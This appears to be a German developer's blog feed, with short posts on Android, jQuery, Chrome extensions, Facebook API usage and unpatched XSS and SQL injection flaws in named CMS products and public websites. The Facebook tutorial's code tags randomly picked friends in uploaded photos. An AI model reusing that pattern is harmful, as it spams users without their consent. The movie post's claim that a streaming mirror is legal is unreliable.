scheme="http://www.blogger.com/atom/ns#" term="certificate"/><category scheme="http://www.blogger.com/atom/ns#" term="debug"/><category scheme="http://www.blogger.com/atom/ns#" term="fingerprint"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Finding the android debug certificate fingerprint on linux</title><content type='html'>&lt;br /&gt;
Simply copy this line into your terminal:&lt;br /&gt;
&lt;br /&gt;
keytool -v -list -keystore /home/username/.android/debug.keystore
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
That`s it. Now you see the fingerprints and android debug certificate informations.</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/8570836179135887082/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/8570836179135887082' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/8570836179135887082'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/8570836179135887082'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2014/05/finding-android-debug-certificate.html' title='Finding the android debug certificate fingerprint on linux'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-1404515772878011808</id><published>2013-04-05T02:02:00.001-07:00</published><updated>2013-04-06T02:03:16.903-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="film"/><category scheme="http://www.blogger.com/atom/ns#" term="movie"/><category scheme="http://www.blogger.com/atom/ns#" term="stream"/><title type='text'>Filme kostenlos und legal im Netz anschauen</title><content type='html'>Kinox.to &amp;amp; co haben es vorgemacht nun ziehen die legalen Filmportale nach. Heute möchte ich euch&lt;br /&gt;
&lt;a href=&quot;http://kinox.de.vu/&quot;&gt;kinox.de.vu&lt;/a&gt;&amp;nbsp;Vorstellen.&lt;br /&gt;
Dabei handelt es sich um einen crawler welcher geziehlt nach kostenlosen Filmen im Netz ausschau hält und das Ergebniss kann sich sehen lassen :)&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://kino1.de.vu/&quot;&gt;Kostenloses Film streaming&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/1404515772878011808/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/1404515772878011808' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/1404515772878011808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/1404515772878011808'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2013/04/filme-kostenlos-und-legal-im-netz.html' title='Filme kostenlos und legal im Netz anschauen'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-5621117594579129527</id><published>2012-12-03T04:39:00.001-08:00</published><updated>2012-12-03T04:39:39.758-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="70% reduziert"/><category scheme="http://www.blogger.com/atom/ns#" term="adventkalender"/><category scheme="http://www.blogger.com/atom/ns#" term="adventskalender"/><category scheme="http://www.blogger.com/atom/ns#" term="amazon"/><category scheme="http://www.blogger.com/atom/ns#" term="angebot"/><category scheme="http://www.blogger.com/atom/ns#" term="geschenke"/><category scheme="http://www.blogger.com/atom/ns#" term="geschenkeideen"/><category scheme="http://www.blogger.com/atom/ns#" term="ideen"/><category scheme="http://www.blogger.com/atom/ns#" term="schnäppchen"/><title type='text'>Amazon Adventkalender</title><content type='html'>Keinen Tag mehr in der Adventszeit ein Schnäpchen verpassen. Mit dem Amazon Adventskalender kein Problem:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://chrome.google.com/webstore/detail/amazon-adventskalender/hgmnjadedpdgnnebbgcpdodpekdbeoad&quot;&gt;https://chrome.google.com/webstore/detail/amazon-adventskalender/hgmnjadedpdgnnebbgcpdodpekdbeoad&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Er macht dich jeden Tag auf tolle Schnäppchen aufmerksam.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/5621117594579129527/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/5621117594579129527' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/5621117594579129527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/5621117594579129527'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2012/12/amazon-adventkalender.html' title='Amazon Adventkalender'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-4177363079615141478</id><published>2012-11-20T22:33:00.000-08:00</published><updated>2012-11-20T22:33:13.312-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ajax"/><category scheme="http://www.blogger.com/atom/ns#" term="ajax form"/><category scheme="http://www.blogger.com/atom/ns#" term="ajax formular"/><category scheme="http://www.blogger.com/atom/ns#" term="fastform"/><category scheme="http://www.blogger.com/atom/ns#" term="javascript"/><category scheme="http://www.blogger.com/atom/ns#" term="jquery"/><category scheme="http://www.blogger.com/atom/ns#" term="jquery plugin"/><category scheme="http://www.blogger.com/atom/ns#" term="plugin"/><title type='text'>fastform jquery Plugin</title><content type='html'>&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://kayschneider.github.com/fastform&quot; target=&quot;_blank&quot;&gt;Fastform&amp;nbsp;&lt;/a&gt;ist mein neustes Plugin für jQuery. Mit diesem Plugin ist es möglich Formulare mittels Ajax an den Server zu senden ohne sich um die Daten zu kümmern. Es spart einiges an Entwicklungszeit.&lt;br /&gt;
&lt;br /&gt;
Um dies zu verdeutlichen zeige ich hier mal den kleinsten Aufruf von fastform:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
$(&#39;#formularId&#39;).fastform({ajax:true});&lt;/blockquote&gt;
Mit diesem Aufruf wird ein Formular an die im action Attribute angegeben url gesendet mittels Post. Das Plugin kann aber auch nur dazu benutzt werden ein Formular zu validieren. Wenn ich nur die Validierungsfunktion nutzen möchte und die Daten in einem Objekt bekommen möchte dann reicht sogar dieser Aufruf:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
var data = $(&#39;#formularId&#39;).fastform();&amp;nbsp;&lt;/blockquote&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(data == false) { //fehler im Formular, der Nutzer sieht nun die Fehlerhaften Elemente rot markiert.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return false;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } else {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;// hier kann ich die Daten selbst mit $.ajax versenden oder irgendwas anderes tolles damit machen&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wie man sieht spart dieses Plugin in der tat viel Zeit und beseitigt auch die eine oder andere Fehlerquelle da neue Formularfelder direkt mit versendet werden.&lt;br /&gt;
&lt;br /&gt;
Damit das Plugin weiß welche Felder required sind nutzt es das Attribute &quot;required=&#39;required&#39;&quot; aus html5. Sobald ein Feld dieses Attribute besitzt muss es ausgefüllt sein damit das Formular versendet werden kann.&lt;br /&gt;
&lt;br /&gt;
fastform ist ein jquery Plugin was die Entwicklungszeit von Ajax Formularen rapide verringert. Mehr Informationen zum Plugin auf der Projektseite:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://kayschneider.github.com/fastform/&quot;&gt;http://kayschneider.github.com/fastform/&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/4177363079615141478/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/4177363079615141478' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/4177363079615141478'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/4177363079615141478'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2012/11/fastform-jquery-plugin.html' title='fastform jquery Plugin'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-5841311254977577459</id><published>2011-07-17T07:09:00.000-07:00</published><updated>2011-07-17T07:09:46.874-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="chrome extension"/><category scheme="http://www.blogger.com/atom/ns#" term="facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="google+"/><category scheme="http://www.blogger.com/atom/ns#" term="integration"/><title type='text'>Chrome Extension ( integrate Facebook in your google plus &quot;main&quot; stream )</title><content type='html'>Das Wochenendwerk von mir wäre nun auch fertig... &lt;br /&gt;
Eine kleine Extension welche den Facebook Newsstream Chronologisch in den Newsfeed von GooglePlus ein. &lt;br /&gt;
Der kleine Helfer sortiert die Updates nur in den &quot;main&quot; stream ein, sobald man einen circle anwählt verschwinden die FB Updates.. zurück zum main stream da ist er wieder ;)&lt;br /&gt;
&lt;a href=&quot;https://chrome.google.com/webstore/detail/hhaakikcmkgcchdnpafnkjjajfepihoo&quot;&gt;Zur Extension im Chrome Webstore :) &lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/5841311254977577459/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/5841311254977577459' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/5841311254977577459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/5841311254977577459'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2011/07/chrome-extension-integrate-facebook-in.html' title='Chrome Extension ( integrate Facebook in your google plus &quot;main&quot; stream )'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-2421427466388612789</id><published>2011-07-17T07:07:00.000-07:00</published><updated>2011-07-17T07:07:06.233-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="google+"/><title type='text'>Join me on Google+</title><content type='html'>https://plus.google.com/101394390558382014012/posts</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/2421427466388612789/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/2421427466388612789' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/2421427466388612789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/2421427466388612789'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2011/07/join-me-on-google.html' title='Join me on Google+'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-4339353703492597347</id><published>2011-01-08T07:14:00.000-08:00</published><updated>2011-01-08T07:14:07.436-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="graph"/><category scheme="http://www.blogger.com/atom/ns#" term="graph api"/><category scheme="http://www.blogger.com/atom/ns#" term="picture"/><category scheme="http://www.blogger.com/atom/ns#" term="tag picture"/><category scheme="http://www.blogger.com/atom/ns#" term="turorial"/><category scheme="http://www.blogger.com/atom/ns#" term="upload"/><category scheme="http://www.blogger.com/atom/ns#" term="user"/><category scheme="http://www.blogger.com/atom/ns#" term="youtube api"/><title type='text'>Facebook GRAPH Picture Upload Tutorial</title><content type='html'>So mit der Facebook GRAPH API lässt sich ja einiges machen. Ich widme mich heute mal dem Photo Upload. Und biete hierzu auch ein paar Code Samples an welche man benutzen kann.&lt;br /&gt;
&lt;br /&gt;
So let`s go. Am einfachsten mit der GRAPH API zu arbeiten ist es wenn wir mit dem Offiziellen PHP Packet von Facebook arbeiten. Dies gibts unter GITHUB:&lt;br /&gt;
https://github.com/facebook/php-sdk/&lt;br /&gt;
&lt;br /&gt;
Hier noch ein kleines Beispiel wie man dieses Paket zum laufen bringt:&lt;br /&gt;
&lt;blockquote&gt;include_once(&#39;facebook.php&#39;);&lt;br /&gt;
&lt;br /&gt;
class facebookFactory {&lt;br /&gt;
&lt;br /&gt;
private $facebook;&lt;br /&gt;
private static $instance = null;&lt;br /&gt;
&lt;br /&gt;
private function  __construct() {&lt;br /&gt;
$this-&amp;gt;facebook = new Facebook(array(&lt;br /&gt;
&#39;appId&#39;  =&amp;gt; APP_ID,&lt;br /&gt;
&#39;secret&#39; =&amp;gt; APP_SECRET,&lt;br /&gt;
&#39;cookie&#39; =&amp;gt; true,&lt;br /&gt;
));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
private function __clone() {&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
public static function getInstance() {&lt;br /&gt;
if(! self::$instance) {&lt;br /&gt;
self::$instance = new facebookFactory();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
return self::$instance;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
public function getFacebook() {&lt;br /&gt;
return $this-&amp;gt;facebook;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
}&lt;/blockquote&gt;&lt;br /&gt;
Dies ist eine kleine Facebook Factory. Wer weiß ob man vielleicht das Offizielle Paket gegen ein anderes eintauscht. Im Konstruktor wird die Klasse Facebook aus dem facebook Packet instanziert. Dort werden alle nötigen Informationen, also APP_KEY, SECRET übergeben. &lt;br /&gt;
Diese Daten bekommt ihr von Facebook wenn ihr eine Anwendung erstellt.&lt;br /&gt;
&lt;br /&gt;
So nun widmen wir uns dem Bilder Upload. Ich neige immer dazu &quot;Fremdpackete&quot; zu wrappen. Also nicht direkt auf die Methoden von der Klasse Facebook zurückzugreifen. Dazu habe ich ein &quot;Arbeitstier&quot; welche alle nötigen Methoden implementiert hat und einfach immer das Passende von der Klasse Facebook aufruft. &lt;br /&gt;
&lt;br /&gt;
Um ein Bild hochzuladen mittels der &quot;Graph&quot; API hochzuladen. Hier ein kleinen Auszug meiner Upload Funktion welche die Facebook Upload Funktion anspricht:&lt;br /&gt;
&lt;blockquote&gt;$arguments = array(&lt;br /&gt;
&#39;message&#39; =&amp;gt; &#39;Die Bildunterschrift :) &#39;,&lt;br /&gt;
&#39;tags&#39;=&amp;gt;$this-&amp;gt;makeTagArray($this-&amp;gt;getRandomFriends($userId)),&lt;br /&gt;
&#39;source&#39; =&amp;gt; &#39;@&#39; .realpath( BASEPATH . &#39;/tmp/&#39;.$imageName),&lt;br /&gt;
);&lt;br /&gt;
public function uploadPhoto($albId,$arguments) {&lt;br /&gt;
//https://graph.facebook.com/me/photos&lt;br /&gt;
try {&lt;br /&gt;
&lt;br /&gt;
$fbUpload = $this-&amp;gt;facebook-&amp;gt;api(&#39;/&#39;.$albId.&#39;/photos?access_token=&#39;.$this-&amp;gt;facebook-&amp;gt;getAccessToken(),&#39;post&#39;, $arguments);&lt;br /&gt;
return $fbUpload;&lt;br /&gt;
}catch(FacebookApiException $e) {&lt;br /&gt;
$e;&lt;br /&gt;
// var_dump($e);&lt;br /&gt;
return false;&lt;br /&gt;
}&lt;br /&gt;
}&lt;/blockquote&gt;&lt;br /&gt;
In dieser Methode wird auf das Facebook Objekt zugegriffen und dann die API angesprochen. Dann den Pfad, also welche Methode, wir von der Graph API ansprechen wollen.&lt;br /&gt;
In meinem Fall übergebe ich eine ID eines Albums und Poste dort das Foto. Alternativ kann man auch einfach /me angeben. Dann handelt Facebook Automatisch die Alben.&lt;br /&gt;
&lt;br /&gt;
Für diesen Aufruf ist wie bei allen Post aktionen ein Access Token notwendig. Diesen Liegert ebenfalls die Klasse Facebook. &lt;br /&gt;
&lt;br /&gt;
Mit diesem Aufruf Posten wir ein Bild und Taggen direkt mal ein paar User. Hierzu erläuter ich noch die Methode makeTagArray:&lt;br /&gt;
&lt;blockquote&gt;private function makeTagArray($userId) {&lt;br /&gt;
foreach($userId as $id) {&lt;br /&gt;
$tags[] = array(&#39;tag_uid&#39;=&amp;gt;$id, &#39;x&#39;=&amp;gt;$x,&#39;y&#39;=&amp;gt;$y);&lt;br /&gt;
$x+=10;&lt;br /&gt;
$y+=10;&lt;br /&gt;
}&lt;br /&gt;
$tags = json_encode($tags);&lt;br /&gt;
return $tags;&lt;br /&gt;
}&lt;/blockquote&gt;Wie man sieht erstellt die Methode ein array welches ein Assoziatives Array mit sämtlichen Informationen zum Tag enthält. In meinem Fall wird der Methode einfach ein Array mit userIds von Facebook übergeben. Die Userids werden durchlaufen, die Position x und y wird aktualisiert und das wars dann auch schon. &lt;br /&gt;
Nun wird das Array zurückgegeben und steht nun ebenfalls als Argument für den Graph aufruf zur Verfügung. Die Option Tags muss immer ein array enthalten welches die Informationen für die Tags enthält, auch wenn man nur einen Tag hinzufügen möchte!&lt;br /&gt;
&lt;br /&gt;
So ich hoffe es hat dem einen oder anderen weitergeholfen.&lt;br /&gt;
&lt;br /&gt;
Feedback ist immer Wilkommen, und über lob wird sich gefreut.</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/4339353703492597347/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/4339353703492597347' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/4339353703492597347'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/4339353703492597347'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2011/01/facebook-graph-picture-upload-tutorial.html' title='Facebook GRAPH Picture Upload Tutorial'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-305626680789146328</id><published>2010-12-22T06:10:00.000-08:00</published><updated>2010-12-22T06:11:34.252-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="fest reden"/><category scheme="http://www.blogger.com/atom/ns#" term="individuell"/><category scheme="http://www.blogger.com/atom/ns#" term="reden"/><title type='text'>Feine Festreden</title><content type='html'>Feine Festreden gibt es von Hannelore Rösler, damit man nie wieder sprachlos dasteht:&lt;br /&gt;
&lt;a href=&quot;http://www.feine-festrede.de/&quot;&gt;www.feine-festrede.de&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
eine gute Idee wie ich finde :)</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/305626680789146328/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/305626680789146328' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/305626680789146328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/305626680789146328'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2010/12/feine-festreden.html' title='Feine Festreden'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-7297058211668582329</id><published>2010-09-09T07:26:00.000-07:00</published><updated>2010-09-09T07:26:05.623-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="online shop"/><category scheme="http://www.blogger.com/atom/ns#" term="social shop"/><title type='text'>Shopping auf facebook</title><content type='html'>Facebook als Plattform für einen Online-Shop ? Ja, facebook eignet sich sehr gut als Sopping Plattform. Ein Shop kann man mittels der guten facebook API gut einbinden.&lt;br /&gt;
&lt;br /&gt;
Es gilt nur zu beachten dass ein Shop auf facebook nicht 100% so funktioniert wie ein herkömmlicher Online Shop. Die User Experience sollte daher an facebook angepasst werden und das &quot;reine Einkaufen&quot;, sollte als Nutzererlebniss hinten angestellt werden. Im Vordergrund sollten die Sozialen Funktionen stehen. Wie zum Beispiel das Teilen und Bewerten eines Artikels. Anderen Nutzer bestimmte Artikel weiterempfehlen oder man ermuntert Nutzer auf facebook aus dem Sortiement des Online Shops eine eigene &quot;Zusammenstellung&quot; machen zu lassen. Dies empfiehlt sich sehr bei Bekleidung.&lt;br /&gt;
&lt;br /&gt;
So können andere Nutzer die Sets bewerten und darüber Diskutieren. Das Set mit dem besten Bewertungen im Monat könnte Premiert werden. Nutzer welche positive resonanz für Ihr Set bekommen könnte man Punkte geben. Diese Punkte wiederrum sind dann ausschlaggebend für Rabatte im Shop. Dem Nutzer sollte auch die Möglichkeit gegeben werden das Set wie angezeigt erwerben zu können. &lt;br /&gt;
&lt;br /&gt;
Mit solchen und ähnlichen Mechanismen kann man einen schnöden Online Shop zu einem Social Shop verhelfen. Der Vorteil eines Social Shops ist dass Bewertungen nicht mehr Annonym sind, sondern direkt einem Bild, Profil zugeordnet werden. Dadurch wird die Glaubwürdigkeit der Bewertung erhöt. Durch &quot;Mitmach&quot; und &quot;Veröffentlichen&quot; Mechanismen bekommt man viele Nutzer welche öfters als sonst mit dem Shop interagieren.&lt;br /&gt;
&lt;br /&gt;
Der Social Shop von Morgen erhöt den viralen effekt indem er den Verkauf etwas in den Hintergrund stellt. Und man erhält dadurch mehr Verkäufe.. :)&lt;br /&gt;
&lt;br /&gt;
Hört sich einfach an, aber irgendwie finden sich nicht viele ernsthafte Ansätze zu einem Social Shop. Zu viele Shopbetreiber integrieren, like buttons in Ihrem Shop. Nur leider nutzen diese dann nur einen kleinen Teil des viralen Effekts... würde man sich ernsthafte gedanken über eine &quot;richtige&quot; integration in Facebook machen so könnten auch bestehende Shops ihre Fangemeinde über die Bestandskundschaft hinaus erweitern :)&lt;br /&gt;
&lt;br /&gt;
Als Fazit kann man nun mitnehmen dass es durchaus Lohnenswert ist seinen bestehenden Online Shop in facebook zu integrieren. Man sollte sich aber zuerst ernsthafte Gedanken zu den Mechanismen eines Sozialen Netzwerkes machen.</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/7297058211668582329/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/7297058211668582329' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/7297058211668582329'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/7297058211668582329'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2010/09/shopping-auf-facebook.html' title='Shopping auf facebook'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-7060832790490457957</id><published>2008-06-30T10:09:00.000-07:00</published><updated>2008-06-30T10:11:28.921-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="gegen rechts"/><category scheme="http://www.blogger.com/atom/ns#" term="hack"/><category scheme="http://www.blogger.com/atom/ns#" term="no nazis"/><category scheme="http://www.blogger.com/atom/ns#" term="xss"/><title type='text'>XSS against nazis</title><content type='html'>&lt;object width=&quot;425&quot; height=&quot;350&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/ULuIxVpXp20&quot;&gt;&lt;/param&gt;&lt;embed src=&quot;http://www.youtube.com/v/ULuIxVpXp20&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;425&quot; height=&quot;350&quot;&gt;&lt;/embed&gt;&lt;/object&gt;</content><link rel='replies' type='application/atom+xml' href='http://kasisit.blogspot.com/feeds/7060832790490457957/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8381996623360289127/7060832790490457957' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/7060832790490457957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8381996623360289127/posts/default/7060832790490457957'/><link rel='alternate' type='text/html' href='http://kasisit.blogspot.com/2008/06/xss-against-nazis.html' title='XSS against nazis'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8381996623360289127.post-544622427229836584</id><published>2008-06-30T05:03:00.000-07:00</published><updated>2008-06-30T05:30:28.279-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="pirobase"/><category scheme="http://www.blogger.com/atom/ns#" term="sicherheitslücke"/><category scheme="http://www.blogger.com/atom/ns#" term="sql injection"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerable"/><category scheme="http://www.blogger.com/atom/ns#" term="webios"/><category scheme="http://www.blogger.com/atom/ns#" term="xss"/><title type='text'>Fragwürdige CMS Anbieter......</title><content type='html'>Es gibt ja viele gute Content Management Systeme welche OpenSource sind. Also als Beispiel sei hier Typo, joomla und wordpress genannt.&lt;br /&gt;Gut wordpress hat sicherheitstechnisch in der Vergangenheit Probleme gehabt aber die Probleme sind weitest alle behoben worde. Im vergleich schneiden da die kostenpflichtige angebote sehr schlecht ab.&lt;br /&gt;&lt;br /&gt;Auf meinem hack1n9 Blog habe ich über diverse Sicherheitsprobleme auf den verschiedensten Seiten Berichtet. Für die Probleme des Landes Baden-Württemberg ist ein CMS verantwortlich. Das ist das CMS Pirobase von Pironet. Es kostet 2 Vermögen ist unsicher und taugt nichts. Aber naja was solls.&lt;br /&gt;&lt;br /&gt;Ebenfalls anfällig ist das webios cms. Ebenfalls angeschrieben. Positiv rückmeldung mit wir machen dass. Negativ bis heute nichts geschehen. Und dabei wäre das Problem in weniger als 5 Minuten zu beheben!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Alle Fehler, hauptsächlich XSS, lassen sich auf vielen weiteren Seiten nachvollziehen. So zum Beispiel auch auf Freiburg.de. Pirobase sei dank.&lt;br /&gt;Also ich dachte ich schreibe einfach mal Pironet an und nenne das Problem. Also ich rief an, habe ne email gesendet, mit Menschen gesprochen. Und das Ergebniss. Nichts.&lt;br /&gt;Eine Seite hatte diverse SQL-injection Probleme, dort habe ich den webmaster angeschrieben. Aber nichts. Das Problem besteht heute noch ???&lt;br /&gt;&lt;br /&gt;Ich habe gehofft durch aufzeigen von Problemen werden diese gelöst und sicherer gemacht. Aber ich denke dass man einfach solche Sicherheitslücken auf Mailinglisten veröffentlichen muss. Denn wenn es mehr Menschen wissen dann steigt auch der Druck auf den Anbieter. Hoffentlich.&lt;br /&gt;Auch das Land juckt es nicht wenn die Seiten so lala herumhängen. Ich habe mails an die verschiedensten Stellen gesendet.&lt;br /&gt;Ja immer mit kompletter anschrift etc. und wollte es denen sagen dass ihre Seiten nicht so ganz in Ordnung sind. Aber ebenfalls völliges desinteresse. Nein ich erwarte nicht dass die sich bei mir melden.&lt;br /&gt;Einfach zur Kenntniss nehemn und richtig machen. Mensch ist doch nicht schwer. Oder doch?? Wenn doch dann war euer Studium umsonst ;-) Ich weiß ich weiß... aber ich hab recht!!!&lt;br /&gt;&lt;br /&gt;Leider reagierte auch niemand bei &lt;span class=&quot;text&quot;&gt;&lt;a title=&quot;Webseite der Kommunalen Datenverarbeitung Region Stuttgart&quot; style=&quot;text-decoration: none;&quot; href=&quot;http://www.kdrs.de/&quot; target=&quot;_blank&quot;&gt;Zweckverband Kommunale Datenverarbeitung Region Stuttgart&lt;/a&gt; 